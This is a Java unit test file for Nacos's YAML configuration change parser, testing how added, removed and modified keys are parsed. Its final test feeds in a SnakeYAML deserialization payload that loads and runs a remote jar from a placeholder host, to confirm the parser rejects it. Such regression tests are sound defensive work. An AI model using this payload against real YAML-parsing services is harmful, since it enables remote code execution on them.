content: /*
   * Copyright 1999-2018 Alibaba Group Holding Ltd.
   *
   * Licensed under the Apache License, Version 2.0 (the "License");
   * you may not use this file except in compliance with the License.
   * You may obtain a copy of the License at
   *
   *      http://www.apache.org/licenses/LICENSE-2.0
   *
   * Unless required by applicable law or agreed to in writing, software
   * distributed under the License is distributed on an "AS IS" BASIS,
   * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   * See the License for the specific language governing permissions and
   * limitations under the License.
   */
  
  package com.alibaba.nacos.client.config.impl;
  
  import com.alibaba.nacos.api.config.ConfigChangeItem;
  import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
  import org.junit.jupiter.api.Test;
  
  import java.io.IOException;
  import java.util.Map;
  
  import static org.junit.jupiter.api.Assertions.assertEquals;
  import static org.junit.jupiter.api.Assertions.assertNull;
  import static org.junit.jupiter.api.Assertions.assertThrows;
  import static org.junit.jupiter.api.Assertions.assertTrue;
  
  class YmlChangeParserTest {
      
      private final YmlChangeParser parser = new YmlChangeParser();
      
      private final String type = "yaml";
      
      @Test
      void testType() {
          assertTrue(parser.isResponsibleFor(type));
      }
      
      @Test
      void testAddKey() throws IOException {
          Map<String, ConfigChangeItem> map = parser.doParse("", "app:\n  name: nacos", type);
          assertNull(map.get("app.name").getOldValue());
          assertEquals("nacos", map.get("app.name").getNewValue());
      }
      
      @Test
      void testRemoveKey() throws IOException {
          Map<String, ConfigChangeItem> map = parser.doParse("app:\n  name: nacos", "", type);
          assertEquals("nacos", map.get("app.name").getOldValue());
          assertNull(map.get("app.name").getNewValue());
      }
      
      @Test
      void testModifyKey() throws IOException {
          Map<String, ConfigChangeItem> map = parser.doParse("app:\n  name: rocketMQ", "app:\n  name: nacos", type);
          assertEquals("rocketMQ", map.get("app.name").getOldValue());
          assertEquals("nacos", map.get("app.name").getNewValue());
      }
      
      @Test
      void testComplexYaml() throws IOException {
          /*
           * map:
           *   key1: "string"
           *   key2:
           *     - item1
           *     - item2
           *     - item3
           *   key3: 123
           */
          String s = "map:\n" + "  key1: \"string\"\n" + "  key2:\n" + "    - item1\n" + "    - item2\n" + "    - item3\n"
                  + "  key3: 123    \n";
          Map<String, ConfigChangeItem> map = parser.doParse(s, s, type);
          assertEquals(0, map.size());
      }
      
      @Test
      void testChangeInvalidKey() {
          assertThrows(NacosRuntimeException.class, () -> {
              parser.doParse("anykey:\n  a",
                      "anykey: !!javax.script.ScriptEngineManager [\n" + "  !!java.net.URLClassLoader [[\n"
                              + "    !!java.net.URL [\"http://[yourhost]:[port]/yaml-payload.jar\"]\n" + "  ]]\n" + "]",
                      type);
          });
      }
  }
  
  